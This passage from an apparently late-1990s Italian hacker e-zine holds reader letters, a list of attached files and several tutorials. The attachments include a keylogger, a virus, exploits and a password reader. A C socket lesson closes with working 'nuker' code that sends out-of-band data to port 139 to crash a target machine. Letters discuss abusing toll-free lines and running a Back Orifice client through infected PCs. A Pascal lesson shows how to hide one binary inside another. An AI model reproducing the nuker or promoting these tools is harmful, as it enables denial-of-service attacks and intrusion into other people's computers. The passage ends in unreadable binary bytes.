or her name and the name displayed. 3. CND information can also be used in additional ways such as for: a. Bulletin board applications b. Black-listing applications c. Keeping logs of system user calls, or d. Implementing a telemarketing data base REFERENCES For more information on Calling Number Delivery (CND), refer to Bellcore publications TR-TSY-000030 and TR-TSY-000031. To obtain Bellcore documents contact: Bellcore Customer Service 60 New England Avenue, Room 1B252 Piscataway, NJ 08834-4196 (201) 699-5800 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao Zero Cool, com'e' Praga? E le ceche??eh!eh! Cmq ti volevo dire che avrei scritto una articoletto su 3 semplici backdoors (aggiungere un user,manipolare .rhosts e inetd.conf per crearsi una porta.. cose che saprai a memoria) e mi chiedevo se le potevo mettere su Newbies n2. Se non posso dimmelo pure che non mi offendo! Poi ti volevo chiedere qualche informazione su come e' strutturata la crew, chi sono i piu' bravi ecc. Byez, Hamelin Re: si il tuo articolo e' ben accetto scusa se lo scrivo qua ed ora ma non trovo la tua mail proprio + e il txt con su scritto cio'e'l' unica cosa che mi e'rimasta fatti sentire ZeroCool Re: l'art di Hamelin e' presente su questo numero :))) alla fine ci ha ribeccati lui eheheheh N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao zero, ascolta, Ho un amico che fa il sistemista ed e'in grado di controllare il traffico delle linee telefoniche ! Se io gli do dei numeri verdi e lui scopre che ci si collega sempre un sacco di gente, significa che il GREEN e' piuttosto sicuro oppure il contrario ? Andrew Coleman Re: si mi farebbe piacere ricevere solo dei manuali e dei txt sulle linee telefoniche per quanto riguarda i green non ne voglio proprio sapere ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Vorrei esprimere la mia ammirazione verso il vostro fantastico gruppo Vai ragazzi siete i migliori Coda RE: stragrazie millexxxxx ZeroCool RE: oddio questo chissa' che si e' bevuto prima di sedersi davanti al computer ..o avra' fumato??? hihihi tnx cmq ricorda che e' un lavoro di squadra nonostante ci siamo io e zero (e dal prox num nosferatu) come "capi", noi siamo solo dei coordinatori e questa e-zine e' bella imo xche' non e' mia o tua e' un po' di tutti ognuno la sente propria e x questo vuole miglio rarla dando il meglio di se' coi propri articoli N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ciao zerocool sono un ragazzo che ne vuole sapere un pacco ma che, come te, capisce poco l'inglese. navigando ho trovato molti siti sull'hacking ma il piu' chiaro e' sicuramente il vostro perche' e' in italiano e spiega testualmente na frega (molte) di cose. un po sto a lecca': non sono uno che ottiene le cose leccando il culo su irc ma, visto che sembri molto disponibile, ti chiedo una cosa proprio da + lamer che non si puo': -cos'e' un volmetro? (non so manco se e' software o hardware) per ora mi interesso dei green perche' appena ne trovero' uno potro dedicarmi alla navigazione serrata per trovare strafigherie. una cosa tra amici: una volta che c'ho il green che cazzo devo scriverci nella user e password?????????? se mi rispondi sei un grande mo vengo sui vostri chan IRC ciao:):) RE: ciao grazie per i complimenti [ps ho un'inglesina che mi sta dando lezioni di lingua e penso di poter avere un livello accettabile ] ; per quanto riguarda un volmetro che so' io e' a livello hardware e per quanto riguarda i green se vuoi un consiglio lasciali perdere o rischi di fare una brutta fine ZeroCool PS DI N0bodY88 = cosa intendevi zero con la frase "Ho un inglesina che mi sta dando lezioni di lingua" ??? Ahhh io e i miei doppisensi... hihihi -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ola....ho visto il tuo indirizzo sulla pagina web http://www.newbies.tsx.org/ e visto che non so a chi rivolgermi spero in un tuo aiuto... Questo e' il problema: voglio lanciare Boclient (quello per Dos) su un pc di un boservizato da una shell dos, in modo che i comandi indirizzati ad un secondo boservizato partano da quel PC e non dal proprio.... il mio problema e' che non riesco a far eseguire boclient al primo pc.. Questa e' la procedura che seguo: 1-Appadd command.com 23 2-apro telenet 3-lancio boclient.exe (devo mettere qualche parametro?) e mi si inchioda qui Telnet....ma se faccio un process list vedo il processo attivo.... Ho provato a lanciare direttamente anche Appadd c:\boclient.exe 23 ma quando apro telent sulla porta 23 non risponde niente ;-( Che devo fare?....Ma si puo fare una cosa del genere? Ho fatto mille prove....ma il risultato e' sempre quello ;-( byez Snafuz RE: Ciao in questo numero dell'ezines ci dovrebbe essere la risposta per la tua domanda -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ "ah na cosa sapete che esiste un sito in internet con tutti i numeri verdi esitenti italiani [nooo] e anche quelli non doumentati nelle guide [nooooo] si , bhe ma ci vuole un caro account se qualcuno e' disposto ad aiutarmi nel trovarlo mi contatti [kokok@tin.it] ah gia' il sito in questione si chiama http://12online.tin.it ... ciao a tutti ZeroCool" Che sappia io non ci sono quelli non documentati nelle guide...sorry. Blum blum@cybergal.com RE: Mha a me han detto cosi'cmq magari sbaglio cmq e'un argomento che non mi interessa piu'cmq colgo l'occasione per salutarti sei miticissimo ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Ciao Sono Uncle Jack, vi sto seguendo su ahccc da due mesi circa ed esco dall ombra per due motivi: Innanzi tutto complimenti per il primo numero dell' E-ZINE L'ho scaricato stampato e letto nel giro di una sera!!!! Spero che le uscite continuino anche se penso che non sia un lavoro da poco mettere insieme un lavoro di quelle dimensioni. Comunque sono in attesa del secondo numero ;-)) Secondo ho letto il post di Newbie 1,1 riguardo il futuro di ahccc e condivido il pensiero che negli ultimi periodi e' scaduto parecchio di qualita', io mi sono ridotto a leggere solo i post di alcuni di voi lasciando perdere il resto. Trovo quindi FANTASTICA l' idea della mailing list e siccome sul Vs. sito la pagina e' in costruzione........e non e' meglio specificato a chi rivolgersi, chiedo a voi ma e' come se lo chidessi a tutto il gruppo se per cortesia mi voleste inserire nella lista consentendomi di continuare a seguire i post di gente che ha contribuito a risvegliare la mia curiosita di studiare ed imparare (NB. ho 32 anni e il mio primo login risale all aprile 1992 poi per motivi di lavoro e famiglia ho dovuto mollare ho ripreso grazie a voi). Nella speranza di poter sedere alla vostra tavola per poter appagare la mia sete di sapere vi saluto. RE: Non ho parole sei strabenvenuto da noi e la mailing list e' gia'attiva ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ hi ZeroCool, volevo avvertirti che nel tuo sito non ci sono i "testi tradotti", potresti mandarmi i testi via e-mail o darmi un indirizzo dove possa trovare questi testi? RE: Il nostro traduttore ufficiale si sta dando da fare al riguardo ZeroCool RE: Tutti le traduzioni sono sempre state messe nelle e-zine fino adesso, ma appena rifacciamo il sito faremo la page traduzioni N0bodY88 -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ scusa , ti volevo anche chiedere se potevo pubblicare la vostra rivista sul mio sito , come.to/lopks con la "rivista" della precedente mail intendevo dire la e-zine di ZeroCool e N0bodY88 ..... by lopks RE: certo te la mandero'al + presto . ZeroCool -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ͻ Ŀ RIEPILOGO LINK IN ORDINE ALFABETICO ٺ ͼ [ D.I.B. ----------------------------------------------> http://come.to/dib ] [ NetRunners ---------------------> http://members.tripod.com/~teresacanis/ ] [ NewBies -----------------------------------------> http://newbies.tsx.org ] [ RingZ3rO ---------------------------------------> http://ringzer0.cjb.net ] [ Softpj -------------------------------> http://softpj98.bbk.org/main.html ] [ Spaghetti Phreakers -----------------> http://come.to/spaghettiphreakers/ ] [ Spippolatori -------------------------------> http://www.spippolatori.com ] [ Vana - Imago ------------------> http:/members.xoom.com/eripper/index.htm ] ۰۰۰۰۰۰ ۰۰۰۰۰۰۰ ۲۰۰۰۰۰۰۲۰۰۰ ۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ 2 PAROLE SUGLI ALLEGATI: - anti-s.zip = file con altri 5 doc presi dalla mitica guida fatta da Anti-Social. - AntiMelissa = questa e' una voce di registro che se aggiunta al ns registry ci rende non attaccabili dal tanto decantato melissa.Tnx Sephy - cmanager.exe = programmino usato in alcuni netcafe e del quale unlt ci ha fatto lieto dono :))), trovate una descrizione del prog nella sezione "hacking e altro" dove ulnt spiega tutto quello che sa sui netcafe :-))))))) - CookBook = zip con il (speriamo diventi) famoso CookBook di ElectroRipper in anteprima x NewBies da uno dei + attivi degli scrittori della ns e-zine. - file3ds.zerocool = file 3ds attinente all'articolo in cui ZeroCool parla di programmazione di demo x nintendo 64. - Guida di Kalidor all'hacking per Win95-98.zip = file contenente la guida fatta dal mitico Kalidor. - IcqExploit.htm = questo e' un file fatto da Sephy il cui uso e' spiegato nel suo articolo intitolato ICQ EXPLOIT. - italiano.lng = Traduce netbus 2 dall'inglese all'italiano... inseritelo nella dir LANG e fate opzioni nel menu di netbus...by Sephy - KeyLogger.zip = come capirete dal nome (ma no!) questa e' un keylogger (ma va!) che Sephy ci spiega ad usare in uno dei suo articoli, e cmq trovate la documentazione all'interno se avete fretta di usarlo. - naggabox.zip e omega.zip = file in cui sono riportati gli schemi di una blue box che nonstante se ne dica secondo me funziona ankoroggi qui in italia ;-) - NetBusEliminator = utile programmino fatto dal ns Quequero che praticamente va a modificare le proprieta' del server di NetBus cosicche' se siete infetti vedrete il server caricarsi al riavvio del pc senza che lo stesso sia + nascosto, individuandone quindi anke il nome. Un tnx 1000 a Quequero da parte di tutti noi. - NetbusICO.zip = alcune icone da usare secondo quanto spiegato da Sephy in uno dei suo articoli (ma quanti ne ha fatti sto qua??? hihihi) - newbies.asm = virus fatto da Caos83 e provato nella sua scuola, se avete un po' di cultura di so e hacking installatevelo e provate a rispondere alle domande che vi verranno poste ;-) - r0_pesentry.zip = file zip che e' collegato all'articolo di Kill3xx (dei Ring0...i migliori!) - rain10.zip = file accluso xche' chiamato in causa da SoftWord x il suo articolo sull'overclock; - SourceCode.zip = file contenenti info e codice che ipLey ha spiegato (si proprio l'articolo dove si spiega come fare una backdoor!) - supporti.zip = file allegato con i sorgenti, l'exe e molti .pas moooooooolto interessanti dei quali Master parla nel suo articolo ^______^ - zerocool.zip = file contenente una serie di exploits forntici dal ns mitico redattore, un prog x leggere le pass del prog CuteFtp e un paio di immagini da luis elezionate eheheh. N0bodY88 PS DELL'ULTIMO MINUTO:dato che non so quanti di voi hanno voglia di scaricarsi una e-zine di un 1 mega e mezzo, abbiamo deciso di dividere la e-zine in 2 zip, 1 contenente questa e-zine e altri articoli o guide, mentre nell'altro trovate i prog che son sopra elencati, ma questo non vuol dire che non dovete scarcarli entrambi :PPP N0bodY88 ۰۰۰۰۰۰۰ ۰۰۰۲۰۲۰۰۰ ۰۰۰۰۲۰۰۰۲۰۰ ۰۰۰۰۲۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰ ͸ ::::::::::::::::::::::::::: | ͵ Titolo: Corso di C - III Parte ͵ di : ElectroRipper ͵ Scritto il : 21/4/99 ͵ Pericolo: ۰ ; E L E C T R O R I P P E R P R E S E N T A C O R S O D I C I I I P U N T A T A Stavolta parliamo dei...socket! Oramai dovreste avere un'idea generale del linguaggio e di come programmare in C, semplici applicazioni, dopo aver letto le prime due puntate di questo corso, riguardanti la prima la sintassi di base, e la seconda la gestione dei files, quindi stavolta tratteremo un argomento un po' piu' specifico. Dato che e' un argomento lunghetto lo divideremo in due puntate. Un socket altro non e' che un cazzariello che gestisce per noi le parti piu' a basso livello di una connessione, lasciandoci cosi' liberi di pensare al programma e risparmiandoci un casino di fatica. Faro' riferimento a Unix e Linux ma in Windows non dovrebbe cambiare molto. Ecco gli headers che dovrete includere nei vostri programmi per il supporto dei socket di base : sys/socket.h sys/types.h netinet/in.h netdb.h Per Windows95 la libreria che si occupa della gestione dei socket e' wsock32.dll Un socket viene riconosciuto dal C per il suo descriptor. Proprio come un file infatti un socket ha un numero intero che lo identifica, e glielo assegniamo con la funzione socket, che usa la seguente sintassi : int socket(int domain, int type, int protocol); Ecco le costanti piu' comuni da passare come domain : AF_UNIX (protocolli interni Unix) AF_INET (protocolli internet ARPA) AF_ISO (protocolli ISO) Come type potete usare invece : SOCK_STREAM (TCP) SOCK_DGRAM (UDP) SOCK_RAW (Il programma stesso costruisce i pacchetti) Come protocol potete passare 0 in modo che scelga automaticamente quello + adatto. L'int restituito sara' appunto il descriptor del socket che abbiamo appena creato. Poi dobbiamo comunicare al socket a quale indirizzo collegarsi e su quale porta e per farlo utilizziamo la struttura sockaddr, o meglio la struttura sockaddr_in con un cast. struct sockaddr_in{ short sin_family; short sin_port; struct in_addr sin_addr } sin_addr e' una struttura di tipo in_addr, cioe'... struct in_addr{ long s_addr; } In sin_family potete schiaffarci AF_INET, sin_port e' la porta, e sin_addr e' ....indovinate un po'.... esatto, l'indirizzo del server. Internet usa valori ordinati nel modo inverso a quello dei processori intel, (i cosiddetti host byte order e network byte order) quindi per inserire un valore in sin_port o sin_addr dovremo prima convertirlo, e possiamo farlo con queste funzioni : unsigned long int htonl(unsigned long int hostlong); unsigned short int htons(unsigned short int hostshort); unsigned long int ntohl(unsigned long int netlong); unsigned short int ntohs(unsigned short int netshort); il cui significato mi sembra abbastanza ovvio (se non dovesse esserlo vi bastera' scrivere "man htonl" per avere una descrizione piu' dettagliata) In sin_addr non va inserito ovviamente l'indirizzo alfanumerico, ma l'ip numerico. Per trovare l'ip numerico di uno alfanumerico usiamo la funzione : struct hostent *gethostbyname(char *name); name e' la stringa che rappresenta l'indirizzo alfanumerico. La funzione restituisce un puntatore a una struttura hostent. L'ip che ci interessa e' contenuto nella struttura puntata dal valore di ritorno di gethostbyname, nel campo char *h_addr. Una volta che abbiamo creato il socket dobbiamo connetterlo, e lo possiamo fare con la funzione : int connect(int sockfd, struct sockaddr *serv_addr, int addrlen ); sockfd e' il descriptor del socket (valore di ritorno della funzione socket) serv_addr e' la struttura sockaddr che contiene l'indirizzo e la porta, addrlen e' la dimensione di serv_addr Il valore di ritorno e' 0 in caso di successo. Per scrivere ad un socket (spedire dati quindi) si puo' usare la funzione write : int write (int sockfd, char *buffer, int buflen); sockfd e' il descriptor del socket buffer punta al primo carattere della stringa da inviare buflen e' il numero di bytes da scrivere. Per leggere invece (ricevere dati quindi) si usa la stessa sintassi, ma con la funzione read ( int read (int sockfd, char *buffer, int buflen); ), solo che stavolta buffer punta al primo byte della memoria dove si vogliono salvare i dati letti, e buflen sono i caratteri da leggere. Queste due funzioni si basavano sul fatto che il socket e' rappresentato fondalmente come un intero, quindi possiamo usare il suo descriptor come se fosse un file. Ci sono pero' due funzioni che fanno la stessa cosa, ma che sono specifiche per i socket : int recv(int s, void *buf, int len, unsigned int flags); int send(int s, const void *msg, int len, unsigned int flags); vabbe' s e' il descriptor, ecc. ecc. I flag li potete settare a zero oppure potete usare le seguenti costanti : MSG_OOB (out of band) MSG_DONTROUTE Alla fine quando dobbiamo chiudere il socket usiamo shutdown(int socket, int mode); dove mode e' un valore da 0 a 2 (0 chiude le operazioni di scrittura ma continua a ricevere, 1 continua solo a trasmettere, 2 viene chiuso del tutto) E poi per liberare le risorse utilizzate dal socket: closesocket (int socket); E adesso che vi sarete rotti il cazzo finalmente un esempio! Un semplice nuker. #include #include #include #include #include #include #include #define porta 139 // La classica vittima del nuke main(int argc, char *argv[]){ char *stringa = "sAmPEi"; struct sockaddr_in indirizzo; struct hostent *hp; int socchett; socchett = socket (PF_INET, SOCK_STREAM, 0); // Crea il socket hp = gethostbyname(argv[1]); // Trova l'ip numerico bzero((char *)&indirizzo,sizeof(indirizzo));// Riempie di 0 la strutt. bcopy(hp->h_addr, (char *)&indirizzo.sin_addr, hp->h_length); // Il segno -> indica il membro della struttura puntata. Ad esempio // se ho una struttura di nome computer,con un campo chiamato CPU, // e un puntatore alla struttura (*computer) chiamato computerp, e' // la stessa cosa fare "computer.CPU = 486" o "computerp->CPU = 486" indirizzo.sin_family = AF_INET; indirizzo.sin_port = htons(porta); connect(socchett,(struct sockaddr *)&indirizzo,sizeof(indirizzo)); // Dato che abbiamo riempito una struttura di tipo sockaddr_in ma // connect richiede una di tipo sockaddr, allora utilizziamo un cast send (socchett, stringa, strlen(stringa), MSG_OOB); // Mandiamo una stringa out of band sulla 139 per nukkare close(socchett); } Il programma prende l'indirizzo alfanumerico passatogli sulla riga di comando trova l'ip numerico e invia una stringa OOB sulla 139. Ok, il discorso sui socket e' lungo, lo finisco la prossima volta. Cya ElectroRipper ͻ Ŀ MIRC SCRIPTING TUTORIAL ٺ ͼ <-<-[ mIRC scripting tutorial ]->-> Bene ragazzi, sotto incitazione di N0bodY88, sar io che da adesso in poi curer una sezione che spero diventer una delle pi seguite in assoluto: come farvi i vostri script per mIRC! Molti appena mi sentono parlare in "codice", ossia quando parlo di $addtok, /dialog o altre skeefezze, vengono in query e puntualmente mi chiedono: "Ohhhhhh ma sai scriptare" "Emb?" "Ma sarai bravissimoooooo!"...muaH, tutte stronzate. Salvo rarissime cose fare uno script decente per chattare sempre facilissimo. Infatti il mIRC scripting non altro che una versione ridotta ai minimi termini di un linguaggio di programmazione. Questo linguaggio deriva un po' da tutto: dal C, dal Basic, dal Pascal ecc. Prima di iniziare con i fondamenti per dovete avere ben chiaro in mente il concetto di script. Uno script un SOTTOPROGRAMMA del mIRC e niente di pi. Non pu andare di molto oltre i limiti del mIRC, tranne che con parecchie ore di programmazione dedicate a creare funzioni fuori dal comune. Una buona soluzione, ma solo se siete bravi con un linguaggio di programmazione visuale (magari non VB ok? meglio Visual C++ o Delphi), quella di crearvi il VOSTRO client IRC, con le funzioni che volete, tutte incluse senza i limiti dello scripting. A proposito di limiti dello scripting, non credete di poter fare chiss quali prodigi, infatti i limiti ci sono eccome! Potrete limitarvi ad un solo men aggiunto sulla menubar, per creare molte cose belle necessaria una quantit sproporzionata di codice e spesso ci si riduce ad includere nel proprio script molti file per renderlo pi appetibile. Il problema che questi file rallentano l'esecuzione del mIRC, visto che il programma se li carica singolarmente all'avvio (caso di questa "pesantezza" generale il Bisnuke 3.0 Gold, veramente immane: immagini di sfondo, suoni, oltre 50 file di script da caricare, tutto per una misera interfaccia grafica, pergiunta neanche dell'autore, visto che un addon). Perci ripeto: niente miracoli! Passiamo adesso ad esaminare i fondamenti dello scripting. Un file di script pu essere di due tipi diversi: un file .INI o un file di una qualunque altra estensione, purch fatto in testo ASCII. Io consiglio sempre il secondo metodo, meglio se l'estensione del file .MRC. Comunque la scelta sta a voi. Ricordate per che un file INI poco leggibile dall' esterno (ossia usando programmi come notepad) perch il mIRC li salva in un formato particolare, che premette una nX= ad ogni riga (la X sta per un numero, che parte da 0 e cresce man mano). Allora, ogni script che si rispetti si compone di tre parti fondamentali: gli ALIAS, i REMOTE e i POPUPS. -----------------------------------ALIAS-------------------------------------- ALIAS: un alias un comando che produce una serie di operazioni in sequenza, per esempio possiamo creare un alias che dica sul canale in cui siamo "Ciao" ma possiamo anche creare un alias che ci faccia joinare sui nostri canali preferiti, ci autentichi sui bot e saluti tutti. Un portento! Gli alias sono nella forma: { comando1 ... comandoN } Esempio: ciao { join #newbies me saluta tutti topic ecco il mio alias in funzione } Questo alias entra nel canale #newbies, saluta tutti con un /me (azione), e cambia il topic in "ecco il mio alias in funzione". Come spero vi siate accorti i comandi da usare in un alias sono gli stessi che usate normalmente nel mIRC, come /me, /topic, ecc. Le uniche eccezioni sono che potete scrivere in un alias i comandi senza "/", che per dire qualcosa in un canale dovete usare "say " e che vi permesso usare i cosiddetti "Identifiers" che per vi spiegher in un'altra lezione. Gli alias sono chiamati dalla riga di comando come i normali comandi del mIRC, ossia premettendo un "/" (segno che per pu essere cambiato dalle opzioni, eventualmente mettete quello che avete scelto). Nel nostro esempio il comando verr chiamato digitando "/ciao" -----------------------------------REMOTE------------------------------------- REMOTE: i remote sono le cose pi importanti. Infatti sono delle righe di codice che hanno la capacit di rispondere a dei determinati eventi. Per esempio, possiamo fare un remoto che al testo "Pizza Script" kickbanna per 30 secondi quello che ha pronunciato il nome dello script pi lamer in assoluto. Si dice evento generante l'evento che mette "in moto" il vostro remoto. Questi remoti sono in questa forma: on :::: { comando1 ... comandoN } Allora, il livello un particolare numero associato ad alcuni tipi di utente. Non so se avete presente degli script dove c' la friend e la enemy list. In pratica l'essere friend o enemy dipende dal numero che vi stato assegnato, ossia il vostro livello. Se per esempio la enemy list ha come livello di default 3, potrebbe esserci un evento on 3:TEXT che appena un enemy parla, esegue le azioni che avete specificato. Il livello base di un utente 1, ma potete cambiarlo a vostro piacimento dall'editor di script incluso nel mIRC. L'evento serve a dire quando deve scattare il nostro remoto. TEXT indica alla ricezione di testo, ACTION alla ricezione di un azione, KICK appena viene fatto un kick e cos via. Chiss che non appena saremo un pochino pi esperti non vi faccia pubblicare una bella listona con il funzionamento di tutti gli eventi! Il testo e il luogo sono due parametri non sempre presenti. Infatti il primo presente negli eventi come TEXT, ACTION ecc. e indica se deve essere presente una certa stringa nel testo che avete ricevuto. Se non avete un filtro preciso, basta mettere * che vuol dire tutto. Il luogo invece indicativo della finestra in cui ricevete qualcosa. I simbolini principali sono: * = tutte le finestre ? = finestra di query # = per tutte le finestre di canale # = per quel canale in particolare Subito dopo il luogo, vengono i comandi. Questi sono dati come in un alias, ossia senza "/" ecc. Ricordate che non sbagliato mettere "/", ma in un grosso script tanti / potrebbero contribuire a fare + grande il codice, e inoltre (almeno secondo me) creano molta confusione. -----------------------------------POPUPS------------------------------------- I popups sono la parte meno importante di uno script, ma dei popup ben fatti contribuiscono a creare una senzazione di "bellezza" generale. Infatti i popups sono appunto i men popup, quelli attivabili col tasto destro. Ma procediamo per ordine. I popup sono di 6 tipi: MENUBAR: La sezione Menubar dei popup crea un men sulla Menubar, tra il men DCC e il men Window STATUS: La sezione status crea un men richiamabile premendo col tasto destro sulla finestra di status CHANNEL: La sezione channel crea un men richiamabile col tasto destro sulla finestra di un canale QUERY/CHAT: La sezione Query/Chat crea il men per le finestre di query e per le DCC chat NICKNAME LIST: La sezione nickname crea il solito men che appare cliccando col tasto destro su un nickname sulla lista dei nick CUSTOM WINDOWS POPUP: Di questa sezione non molti sanno l'esistenza, ma solo perch non appare nel mIRC Editor. Ma esiste la possibilit di creare men popup per le Custom Windows, che sono finestre creabili con appositi comandi. Una piccola parentesi: a partire dal mIRC 5.5 sono state introdotte delle leggere innovazioni. Infatti adesso se nella finestra di un canale, dove ricevete il testo, cliccate col tasto destro mentre la freccina sopra un nick apparir il men della nicklist. Forma generale dei popup: ------------------------- Nome del Men(questo parametro serve solo nella sezione menubar e indica il nome del vostro men sulla menubar) Elemento del Men:comando da eseguire quando cliccate ------------------------- Esiste la possibilit di creare dei separatori, ossia le linee di separazione per gli elementi del men, inserendo al posto dell'elemento del men un - Inoltre possiamo creare dei sottomen usando questo metodo: ------------------------- Men Settaggi .Autojoin ..Attivo:comandi per attivare ..Disattivo:comandi per disattivare ..- ..Lista dei canali:comando per la lista .Controlli ..Op:cmd dell'op ..Deop:cmd del deop ..Kick ...Kick:cmd del kick ecc. In pratica questa cosa far uscire sul vostro mIRC una cosa + o - cos: Autojoin > Attivo Disattivo Men Settaggi > ----------------- Lista dei canali Controlli > Op Deop Kick > Kick eccetera. Capito?!?! E per adesso abbiamo finito, come prima lezione abbiamo spiegato per benino gli elementi basilari. Nel frattempo che aspettate il prossimo numero di Newbies (non ringrazier mai abbastanza N0bodY88 per avermi permesso di fare i miei articoli) vi dico un paio di cosette. Inanzitutto se create uno script NON mandatemelo. inoltre scaricatevi un paio di script, magari da NonSoloKick (www.nonsolokick.com, siccome i download sono a password e username, li ho fatti mettere solo per voi). Eccovi un elenzo di script che potrete fare vostri: ZeroTolerance 8.20 (http://ztolerance.cjb.net) <-- CONSIGLIATO! 7thSphere 3.0 (http://www.nonsolokick.com) <-- CONSIGLIATO! VeNo[M] Script 2.1 (http://www.nonsolokick.com) TRiBE IRC 9b43 (http://www.tribe.roxx.ircnet.mcmail.com/) <-- CONSIGLIATO! ShowDowN 9.5 PRO (http://koti.icenet.fi/~julsei/) Pizza Script 3.0 (http://www.chez.com/pizzairc) <-- SOLO PER LAMER0NI! Dynamirc 7.0 (http://www.nonsolokick.com) Pulsar 2.0 (http://www.nonsolokick.com) <-- SOLO PER ME E N0BODY ;D Bisnuke 4.0 (http://www.nonsolokick.com) CryogenIrc 4.0 (http://www.nonsolokick.com) SpYmAsTeR spymaster99@usa.net ͻ Ŀ NASCONDERE UN PROGRAMMA ALL'INTERNO DI UN ALTRO IN PASCAL ٺ ͼ E' un sistema leggermente laborioso ma semplice una volta che si e' preso il via. ;-) Il turbo pascal 7 e' uno dei migliori compilatori che si possono trovare in giro per quanto riguarda la programmazione sotto dos. Se il c e' sicuramente piu' valido ed efficace sia per quanto riguarda la velocita', la flessibilita' nello scrivere i sorgenti e tante altre cose, il tp offre un compilatore ridotto ai minimi termini ( per compilare un programma e farne un eseguibile sono sufficienti per la maggior parte delle applicazioni i files: TPC.exe (54k compattati con wwp) e Turbo.tpl (48k) ) ..in piu' normalmente compila creando eseguibili piu' corti rispetto al c. Tutto questo fa del tp uno dei programmi piu' usati in assoluto ( dopo il C++ della Borland ..che sinceramente anch'io preferisco. ;-) hi hi) ..in relazione a questa cosa mi e' stato fatto notare, a seguito dello scorso articolo sulla possibilita' di nascondere un programma all'interno di un sorgente in VB, che in pascal non sarebbe possibile farlo perche' il compilatore tp non lavora con sorgenti piu' lunghi di 6xKb. E in effetti e' vero.. ma a questo mondo si puo' fare tutto quando ci si mette di sbuzzo buono. :)) Il trucco sta nel costruirsi delle unit (in c sarebbe molto piu' semplice) contenenti solo una parte del programma da riassemblare. Ogni parte ovviamente sara composta da tante linee di sorgente fino a non-occupare il compilatore per dimensioni maggiori del suo massimo lavorativo..quindi riassemblare il tutto. la procedura a blocchi e' questa: Premesse : file_da_inglobare Programma_contenitore azioni: file_da_inglobare -> file_convertito_in_esadecimale | file suddiviso in Nx parti di xKb | creazione di Nx UNIT | aggiunta al programma_contenitore delle unit | aggiunta al programma pincipale di una procedura di ricompattazione delle unit. Si procede cosi'. Per prima cosa si deve convertire il programma da inglobare in maniera tale da avere lo stesso in formato esadecimale inglobato in una o piu' variabili da poter poi riutilizzare con una procedura esterna. Perche' esadecimale? .. perche' la rappresentazione ascii (che sarebbe la migliore in quanto rappresenta un byte con un solo byte appunto! :) ) e' inutilizzabile all'interno di un sorgente ..tp infatti l'editor usa alcuni caratteri ascii come comandi e quindi non verrebbero rappresentati nella maniera corretta. La rappresentazione decimale richiede 3 byte per byte .. infatti il carattere 'd' tanto per fare un esempio dovrebbe essere rappresentato col suo equivalente ascii e cioe' 100. La rappresentazione esadecimale 00-ff e' quindi la strada ottimale da percorrere. I file saranno mediamenti piu' lunghi del 60/70 % .. ma poco importa visti i vantaggi. Si divide quindi file cosi' convertito in linee secondo questo formato a:=' .... primi 40 byte della rappresentazione esadecimale del file .....';p; a:=' .. successivi 40 byte della rappresentazione esadecimale del file ..';p; ... ... ecc.. ecc... "a" e' una variabile stringa, "p" e' una procedura che prelevera' dalla stringa "a" i dati due alla volta per riscriverli con append sull'hd ricreando il file primario. la variabile "a" e la procedura "p" dovranno essere definite all'interno delle varie unit. ad ogni riga viene eseguita la procedura "p" per la crezione a blocchi di 40 byte del file originale.. quindi secondo come struttureremo la procedura "p" stessa (e le unit) sara' possibile mettere solo un certo numero di linee (come sopra) in una unit specifica e le altre restanti in altre unit diverse. .. come prima cosa serve un programma che converta un file binario nella sua rappresentazione esadecimale e lo converta nel formato a:' .. 40Hex ..';p questo e' lo script in pascal ------------------------------------------ CONVERTI.PAS program converti; uses strings,crt; function hex(l : longint) : string; const hc : array[0..15] of char = ('0','1','2','3','4','5','6','7', '8','9','a','b','c','d','e','f'); begin hex:=hc[(l and $f0) shr 4]+hc[(l and $0f)] end; var k:integer; o:char; n:string; h,l,t:integer; fp1,fp2:text; g: file of byte; begin k:=0; l:=0; n:='spp3.3ds'; { NOME DEL FILE DA CONVERTIRE } assign(g,n);reset(g);t:=filesize(g);close(g); assign(fp1,n); reset(fp1); assign(fp2,'testo.txt'); rewrite(fp2); write(fp2,'a:=',chr(39)); while l39 then begin write(fp2,chr(39),';p;',chr(13),chr(10),'a:=',chr(39)); k:=0; end; end; write(fp2,chr(39),';p;',chr(13),chr(10)); close(fp2); close(fp1); end. ------------------------------------------------------------- per chi volesse, per confronto, anche la stessa procedura in C.. ------------------------------------------ CONVERTI.C #include main(){ FILE *fp1,*fp2; unsigned char h; int k=0; char *file,*t=""; file="spp3.3ds"; /* NOME DEL FILE DA CONVERTIRE */ fp1=fopen(file,"rb"); fp2=fopen("testo.txt","wb"); fprintf(fp2,"a:='"); while(!feof(fp1)){ h=fgetc(fp1);k++; if(h<16) fprintf(fp2,"0%x",h); if(h>=16) fprintf(fp2,"%x",h); if(k>39){ fprintf(fp2,"';p;%c%ca:='",13,10); k=0;}} fprintf(fp2,"';p;%c%c",13,10); fclose(fp2); fclose(fp1); } ------------------------------------------------------------- lo script produce come output un file con le specifiche sopra riportate. ad esempio il file binario -----------------------------------------------------------------LOGO.JPG JFIF    C     $. ' ",#(7),01444'9=82<.342 